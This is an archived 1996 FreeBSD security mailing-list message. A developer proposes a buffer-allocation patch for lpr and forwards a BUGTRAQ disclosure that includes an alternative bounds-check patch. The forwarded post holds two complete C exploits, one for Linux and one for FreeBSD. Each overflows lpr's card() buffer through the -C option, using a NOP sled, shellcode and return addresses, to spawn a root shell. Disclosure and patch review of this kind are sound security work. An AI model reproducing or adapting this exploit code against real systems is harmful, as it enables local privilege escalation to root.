Date: Fri, 25 Oct 1996 11:37:18 -0600 From: Warner Losh <imp@village.org> To: security@freebsd.org Subject: Vadim Kolontsov: BoS: Linux & BSD's lpr exploit Message-ID: <E0vGqC6-00023u-00@rover.village.org>
next in thread | raw e-mail | index | archive | help
Here's a new LPR threat. I've come up with a patch that I'd like
others on this list to vet. It is different than the one suggested by
the author. I think it is better, but haven't thought through all the
implications of it yet.
Comments?
Warner
Index: lpr.c
===================================================================
RCS file: /home/imp/FreeBSD/CVS/src/usr.sbin/lpr/lpr/lpr.c,v
retrieving revision 1.7
diff -u -r1.7 lpr.c
--- lpr.c 1996/05/11 19:00:55 1.7
+++ lpr.c 1996/10/25 17:32:12
@@ -466,9 +466,26 @@
register int c;
register char *p2;
{
- char buf[BUFSIZ];
+ static char *buf=0;
+ static int buflen=0;
register char *p1 = buf;
register int len = 2;
+
+ /*
+ * Make sure that we have enough buffer for the card line to
+ * splat out. guard against huge requests running us out of
+ * memory (exit when this happens).
+ */
+ if (buflen < strlen( p2 ) + 2) {
+ buflen = strlen( p2 ) + 2;
+ if (buflen < BUFSIZ)
+ buflen = BUFSIZ;
+ buf = buf ? realloc( buf, buflen ) : malloc( buflen );
+ if (!buf) {
+ printf("Can't get buffer for card line\n");
+ exit(1);
+ }
+ }
*p1++ = c;
while ((c = *p2++) != '\0') {
------- Forwarded Message
[[ headers editied for length ]]
Date: Fri, 25 Oct 1996 16:35:57 +0300
Reply-To: Vadim Kolontsov <vadim@tversu.ac.ru>
From: Vadim Kolontsov <vadim@tversu.ac.ru>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Hello,
there is a bug in berkeley-derived lpr, which allows attacker to get
root access (see freebsd-security for details). Here is exploit for Linux
(tested on 2.0.20), for BSD (tested on FreeBSD 2.1) and a patch.
Best regards, Vadim.
- -------------------------------------- linux_lpr_exploit.c ----------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
- ------------------------------------------- bsd_lpr_exploit.c ------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
- --------------------------------------------------------------------------
Here is a little patch -- see file lpr.c, function card():
("!!" marks added lines)
- --------------------------------------------------------------------------
static void card(c, p2)
register int c;
register char *p2;
{
char buf[BUFSIZ];
register char *p1 = buf;
register int len = 2;
if (strlen(p2) > BUFSIZ-2) /* !! */
{ /* !! */
printf("No, thanks...\n"); /* !! */
exit(1); /* !! */
}
*p1++ = c;
while ((c = *p2++) != '\0') {
*p1++ = (c == '\n') ? ' ' : c;
len++;
}
*p1++ = '\n';
write(tfd, buf, len);
}
With best regards, Vadim.
- --------------------------------------------------------------------------
Vadim Kolontsov SysAdm/Programmer
Tver Regional Center of New Information Technologies Networks Lab
------- End of Forwarded Message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?E0vGqC6-00023u-00>
